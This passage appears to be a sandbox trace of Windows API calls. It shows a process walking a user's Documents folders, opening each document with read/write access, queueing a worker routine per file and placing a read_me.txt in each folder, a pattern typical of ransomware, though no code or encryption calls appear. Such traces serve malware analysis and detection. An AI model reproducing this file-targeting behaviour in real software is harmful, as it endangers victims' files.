(HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x41f20b0 [0078.660] wnsprintfW (in: pszDest=0x41f20b0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kVF\\9c R7b\\*") returned 57 [0078.661] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kVF\\9c R7b\\*", lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x666f32e0, ftCreationTime.dwHighDateTime=0x1d4cf94, ftLastAccessTime.dwLowDateTime=0x1aa680b0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1aa680b0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32fc208 [0078.661] wnsprintfW (in: pszDest=0x41f20b0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kVF\\9c R7b\\.") returned 57 [0078.661] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x666f32e0, ftCreationTime.dwHighDateTime=0x1d4cf94, ftLastAccessTime.dwLowDateTime=0x1aa680b0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1aa680b0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.661] wnsprintfW (in: pszDest=0x41f20b0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kVF\\9c R7b\\..") returned 58 [0078.661] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38cc6b50, ftCreationTime.dwHighDateTime=0x1d4c530, ftLastAccessTime.dwLowDateTime=0x36e7f2a0, ftLastAccessTime.dwHighDateTime=0x1d4cf9e, ftLastWriteTime.dwLowDateTime=0x36e7f2a0, ftLastWriteTime.dwHighDateTime=0x1d4cf9e, nFileSizeHigh=0x0, nFileSizeLow=0x7a07, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="41n8.pdf", cAlternateFileName="")) returned 1 [0078.661] wnsprintfW (in: pszDest=0x41f20b0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kVF\\9c R7b\\41n8.pdf") returned 64 [0078.661] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kVF\\9c R7b\\41n8.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\3kvf\\9c r7b\\41n8.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8ac [0078.661] QueueUserWorkItem (Function=0x404e00, Context=0x8ac, Flags=0x0) returned 1 [0078.661] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff16500, ftCreationTime.dwHighDateTime=0x1d4d420, ftLastAccessTime.dwLowDateTime=0x7d32c040, ftLastAccessTime.dwHighDateTime=0x1d4cbee, ftLastWriteTime.dwLowDateTime=0x7d32c040, ftLastWriteTime.dwHighDateTime=0x1d4cbee, nFileSizeHigh=0x0, nFileSizeLow=0x790f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HQ9eHtJ JVlb.pdf", cAlternateFileName="HQ9EHT~1.PDF")) returned 1 [0078.661] wnsprintfW (in: pszDest=0x41f20b0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kVF\\9c R7b\\HQ9eHtJ JVlb.pdf") returned 72 [0078.661] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kVF\\9c R7b\\HQ9eHtJ JVlb.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\3kvf\\9c r7b\\hq9ehtj jvlb.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8b0 [0078.661] QueueUserWorkItem (Function=0x404e00, Context=0x8b0, Flags=0x0) returned 1 [0078.661] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a061310, ftCreationTime.dwHighDateTime=0x1d4cf5e, ftLastAccessTime.dwLowDateTime=0xe11880e0, ftLastAccessTime.dwHighDateTime=0x1d4cb62, ftLastWriteTime.dwLowDateTime=0xe11880e0, ftLastWriteTime.dwHighDateTime=0x1d4cb62, nFileSizeHigh=0x0, nFileSizeLow=0x16b4b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="i2NDiJD.csv", cAlternateFileName="")) returned 1 [0078.661] wnsprintfW (in: pszDest=0x41f20b0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kVF\\9c R7b\\i2NDiJD.csv") returned 67 [0078.661] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kVF\\9c R7b\\i2NDiJD.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\3kvf\\9c r7b\\i2ndijd.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8b4 [0078.661] QueueUserWorkItem (Function=0x404e00, Context=0x8b4, Flags=0x0) returned 1 [0078.661] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5001a500, ftCreationTime.dwHighDateTime=0x1d4cbf8, ftLastAccessTime.dwLowDateTime=0xd30ac030, ftLastAccessTime.dwHighDateTime=0x1d4d16b, ftLastWriteTime.dwLowDateTime=0xd30ac030, ftLastWriteTime.dwHighDateTime=0x1d4d16b, nFileSizeHigh=0x0, nFileSizeLow=0x10d0a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LG-m0ZL7LbL1q fouvr.pdf", cAlternateFileName="LG-M0Z~1.PDF")) returned 1 [0078.661] wnsprintfW (in: pszDest=0x41f20b0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kVF\\9c R7b\\LG-m0ZL7LbL1q fouvr.pdf") returned 79 [0078.662] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kVF\\9c R7b\\LG-m0ZL7LbL1q fouvr.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\3kvf\\9c r7b\\lg-m0zl7lbl1q fouvr.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8b8 [0078.662] QueueUserWorkItem (Function=0x404e00, Context=0x8b8, Flags=0x0) returned 1 [0078.662] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1aa680b0, ftCreationTime.dwHighDateTime=0x1d59fdd, ftLastAccessTime.dwLowDateTime=0x1aa680b0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1aa680b0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x6b3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="read_me.txt", cAlternateFileName="")) returned 1 [0078.662] wnsprintfW (in: pszDest=0x41f20b0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kVF\\9c R7b\\read_me.txt") returned 67 [0078.662] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kVF\\9c R7b\\read_me.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\3kvf\\9c r7b\\read_me.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8bc [0078.662] GetProcessHeap () returned 0x540000 [0078.662] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x42820f8 [0078.662] wnsprintfW (in: pszDest=0x42820f8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kVF\\Bz53hXV-ojIo9T\\*") returned 65 [0078.662] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kVF\\Bz53hXV-ojIo9T\\*", lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef70f200, ftCreationTime.dwHighDateTime=0x1d4cd63, ftLastAccessTime.dwLowDateTime=0x1aa680b0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1aa680b0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32fc208 [0078.662] wnsprintfW (in: pszDest=0x42820f8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kVF\\Bz53hXV-ojIo9T\\.") returned 65 [0078.662] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef70f200, ftCreationTime.dwHighDateTime=0x1d4cd63, ftLastAccessTime.dwLowDateTime=0x1aa680b0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1aa680b0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.662] wnsprintfW (in: pszDest=0x42820f8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kVF\\Bz53hXV-ojIo9T\\..") returned 66 [0078.662] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3635f270, ftCreationTime.dwHighDateTime=0x1d4cd06, ftLastAccessTime.dwLowDateTime=0x414f09b0, ftLastAccessTime.dwHighDateTime=0x1d4c588, ftLastWriteTime.dwLowDateTime=0x414f09b0, ftLastWriteTime.dwHighDateTime=0x1d4c588, nFileSizeHigh=0x0, nFileSizeLow=0xb12e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ClH-OjmlHBZmuz49E.odt", cAlternateFileName="CLH-OJ~1.ODT")) returned 1 [0078.662] wnsprintfW (in: pszDest=0x42820f8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kVF\\Bz53hXV-ojIo9T\\ClH-OjmlHBZmuz49E.odt") returned 85 [0078.662] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kVF\\Bz53hXV-ojIo9T\\ClH-OjmlHBZmuz49E.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\3kvf\\bz53hxv-ojio9t\\clh-ojmlhbzmuz49e.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8bc [0078.663] QueueUserWorkItem (Function=0x404e00, Context=0x8bc, Flags=0x0) returned 1 [0078.663] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc76970d0, ftCreationTime.dwHighDateTime=0x1d4cd9e, ftLastAccessTime.dwLowDateTime=0x5f85bdd0, ftLastAccessTime.dwHighDateTime=0x1d4cc99, ftLastWriteTime.dwLowDateTime=0x5f85bdd0, ftLastWriteTime.dwHighDateTime=0x1d4cc99, nFileSizeHigh=0x0, nFileSizeLow=0x3a4e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="fD4JOnIJ1lR.xlsx", cAlternateFileName="FD4JON~1.XLS")) returned 1 [0078.663] wnsprintfW (in: pszDest=0x42820f8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kVF\\Bz53hXV-ojIo9T\\fD4JOnIJ1lR.xlsx") returned 80 [0078.663] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kVF\\Bz53hXV-ojIo9T\\fD4JOnIJ1lR.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\3kvf\\bz53hxv-ojio9t\\fd4jonij1lr.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8c0 [0078.663] QueueUserWorkItem (Function=0x404e00, Context=0x8c0, Flags=0x0) returned 1 [0078.663] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7a0a4b0, ftCreationTime.dwHighDateTime=0x1d4cb18, ftLastAccessTime.dwLowDateTime=0xf4e9e7d0, ftLastAccessTime.dwHighDateTime=0x1d4ccd4, ftLastWriteTime.dwLowDateTime=0xf4e9e7d0, ftLastWriteTime.dwHighDateTime=0x1d4ccd4, nFileSizeHigh=0x0, nFileSizeLow=0x1131f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="gP16m8nyVRHUOIR.xlsx", cAlternateFileName="GP16M8~1.XLS")) returned 1 [0078.663] wnsprintfW (in: pszDest=0x42820f8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kVF\\Bz53hXV-ojIo9T\\gP16m8nyVRHUOIR.xlsx") returned 84 [0078.663] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kVF\\Bz53hXV-ojIo9T\\gP16m8nyVRHUOIR.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\3kvf\\bz53hxv-ojio9t\\gp16m8nyvrhuoir.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8c4 [0078.663] QueueUserWorkItem (Function=0x404e00, Context=0x8c4, Flags=0x0) returned 1 [0078.663] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4ec5800, ftCreationTime.dwHighDateTime=0x1d4cf00, ftLastAccessTime.dwLowDateTime=0x3ae9c470, ftLastAccessTime.dwHighDateTime=0x1d4cfa1, ftLastWriteTime.dwLowDateTime=0x3ae9c470, ftLastWriteTime.dwHighDateTime=0x1d4cfa1, nFileSizeHigh=0x0, nFileSizeLow=0xfc39, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="k6ptEWHq1S5BCxF5A5s.doc", cAlternateFileName="K6PTEW~1.DOC")) returned 1 [0078.663] wnsprintfW (in: pszDest=0x42820f8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kVF\\Bz53hXV-ojIo9T\\k6ptEWHq1S5BCxF5A5s.doc") returned 87 [0078.663] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kVF\\Bz53hXV-ojIo9T\\k6ptEWHq1S5BCxF5A5s.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\3kvf\\bz53hxv-ojio9t\\k6ptewhq1s5bcxf5a5s.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8c8 [0078.663] QueueUserWorkItem (Function=0x404e00, Context=0x8c8, Flags=0x0) returned 1 [0078.663] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc36d3f80, ftCreationTime.dwHighDateTime=0x1d4d54a, ftLastAccessTime.dwLowDateTime=0x531309d0, ftLastAccessTime.dwHighDateTime=0x1d4cf10, ftLastWriteTime.dwLowDateTime=0x531309d0, ftLastWriteTime.dwHighDateTime=0x1d4cf10, nFileSizeHigh=0x0, nFileSizeLow=0xd49e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="l9TuboIbcnKGt.csv", cAlternateFileName="L9TUBO~1.CSV")) returned 1 [0078.663] wnsprintfW (in: pszDest=0x42820f8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kVF\\Bz53hXV-ojIo9T\\l9TuboIbcnKGt.csv") returned 81 [0078.663] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kVF\\Bz53hXV-ojIo9T\\l9TuboIbcnKGt.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\3kvf\\bz53hxv-ojio9t\\l9tuboibcnkgt.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8cc [0078.663] QueueUserWorkItem (Function=0x404e00, Context=0x8cc, Flags=0x0) returned 1 [0078.663] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb14fa760, ftCreationTime.dwHighDateTime=0x1d4d249, ftLastAccessTime.dwLowDateTime=0x827c8950, ftLastAccessTime.dwHighDateTime=0x1d4cc1b, ftLastWriteTime.dwLowDateTime=0x827c8950, ftLastWriteTime.dwHighDateTime=0x1d4cc1b, nFileSizeHigh=0x0, nFileSizeLow=0x6131, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pO7IZJHxedut5D_1CRn9.ods", cAlternateFileName="PO7IZJ~1.ODS")) returned 1 [0078.663] wnsprintfW (in: pszDest=0x42820f8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kVF\\Bz53hXV-ojIo9T\\pO7IZJHxedut5D_1CRn9.ods") returned 88 [0078.664] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kVF\\Bz53hXV-ojIo9T\\pO7IZJHxedut5D_1CRn9.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\3kvf\\bz53hxv-ojio9t\\po7izjhxedut5d_1crn9.ods"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8d0 [0078.664] QueueUserWorkItem (Function=0x404e00, Context=0x8d0, Flags=0x0) returned 1 [0078.664] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1aa680b0, ftCreationTime.dwHighDateTime=0x1d59fdd, ftLastAccessTime.dwLowDateTime=0x1aa680b0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1aa680b0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x6b3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="read_me.txt", cAlternateFileName="")) returned 1 [0078.664] wnsprintfW (in: pszDest=0x42820f8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kVF\\Bz53hXV-ojIo9T\\read_me.txt") returned 75 [0078.664] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kVF\\Bz53hXV-ojIo9T\\read_me.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\3kvf\\bz53hxv-ojio9t\\read_me.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8d4 [0078.664] QueueUserWorkItem (Function=0x404e00, Context=0x8d4, Flags=0x0) returned 1 [0078.664] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x801c1630, ftCreationTime.dwHighDateTime=0x1d4d120, ftLastAccessTime.dwLowDateTime=0x3dfdee80, ftLastAccessTime.dwHighDateTime=0x1d4cc0d, ftLastWriteTime.dwLowDateTime=0x3dfdee80, ftLastWriteTime.dwHighDateTime=0x1d4cc0d, nFileSizeHigh=0x0, nFileSizeLow=0x17c4c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="t W.odt", cAlternateFileName="TW90D6~1.ODT")) returned 1 [0078.664] wnsprintfW (in: pszDest=0x42820f8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kVF\\Bz53hXV-ojIo9T\\t W.odt") returned 71 [0078.664] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kVF\\Bz53hXV-ojIo9T\\t W.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\3kvf\\bz53hxv-ojio9t\\t w.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8d8 [0078.664] QueueUserWorkItem (Function=0x404e00, Context=0x8d8, Flags=0x0) returned 1 [0078.664] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42b27ea0, ftCreationTime.dwHighDateTime=0x1d4cc49, ftLastAccessTime.dwLowDateTime=0x4c8039a0, ftLastAccessTime.dwHighDateTime=0x1d4ccac, ftLastWriteTime.dwLowDateTime=0x4c8039a0, ftLastWriteTime.dwHighDateTime=0x1d4ccac, nFileSizeHigh=0x0, nFileSizeLow=0x6aaa, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WWeUBMdbxmAS5vSNma8w.odt", cAlternateFileName="WWEUBM~1.ODT")) returned 1 [0078.664] wnsprintfW (in: pszDest=0x42820f8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kVF\\Bz53hXV-ojIo9T\\WWeUBMdbxmAS5vSNma8w.odt") returned 88 [0078.664] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kVF\\Bz53hXV-ojIo9T\\WWeUBMdbxmAS5vSNma8w.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\3kvf\\bz53hxv-ojio9t\\wweubmdbxmas5vsnma8w.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8dc [0078.664] QueueUserWorkItem (Function=0x404e00, Context=0x8dc, Flags=0x0) returned 1 [0078.664] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42b27ea0, ftCreationTime.dwHighDateTime=0x1d4cc49, ftLastAccessTime.dwLowDateTime=0x4c8039a0, ftLastAccessTime.dwHighDateTime=0x1d4ccac, ftLastWriteTime.dwLowDateTime=0x4c8039a0, ftLastWriteTime.dwHighDateTime=0x1d4ccac, nFileSizeHigh=0x0, nFileSizeLow=0x6aaa, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wweubmdbxmas5vsnma8w.odt", cAlternateFileName="WWEUBM~1.ODT")) returned 0 [0078.664] FindClose (in: hFindFile=0x32fc208 | out: hFindFile=0x32fc208) returned 1 [0078.664] wnsprintfW (in: pszDest=0x42820f8, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\3kVF\\Bz53hXV-ojIo9T\\read_me.txt") returned 75 [0078.664] GetProcessHeap () returned 0x540000 [0078.665] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x42820f8 | out: hHeap=0x540000) returned 1 [0078.665] InterlockedExchangeAdd (in: Addend=0x40f16c, Value=1 | out: Addend=0x40f16c) returned 48 [0078.665] GetProcessHeap () returned 0x540000 [0078.665] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4150050 | out: hHeap=0x540000) returned 1 [0078.685] GetProcessHeap () returned 0x540000 [0078.689] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x44700e0 [0078.690] wnsprintfW (in: pszDest=0x44700e0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\*") returned 54 [0078.696] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\*", lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42b27ea0, ftCreationTime.dwHighDateTime=0x1d4cc49, ftLastAccessTime.dwLowDateTime=0x4c8039a0, ftLastAccessTime.dwHighDateTime=0x1d4ccac, ftLastWriteTime.dwLowDateTime=0x4c8039a0, ftLastWriteTime.dwHighDateTime=0x1d4ccac, nFileSizeHigh=0x0, nFileSizeLow=0x6aaa, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wweubmdbxmas5vsnma8w.odt", cAlternateFileName="")) returned 0xffffffff [0078.704] wnsprintfW (in: pszDest=0x44700e0, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\read_me.txt") returned 64 [0078.704] GetProcessHeap () returned 0x540000 [0078.704] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x44700e0 | out: hHeap=0x540000) returned 1 [0078.704] InterlockedExchangeAdd (in: Addend=0x40f16c, Value=1 | out: Addend=0x40f16c) returned 49 [0078.704] GetProcessHeap () returned 0x540000 [0078.704] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x42720f0 | out: hHeap=0x540000) returned 1 [0078.705] GetProcessHeap () returned 0x540000 [0078.705] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x44700e0 [0078.705] wnsprintfW (in: pszDest=0x44700e0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\*") returned 57 [0078.705] FindFirstFileW (in: 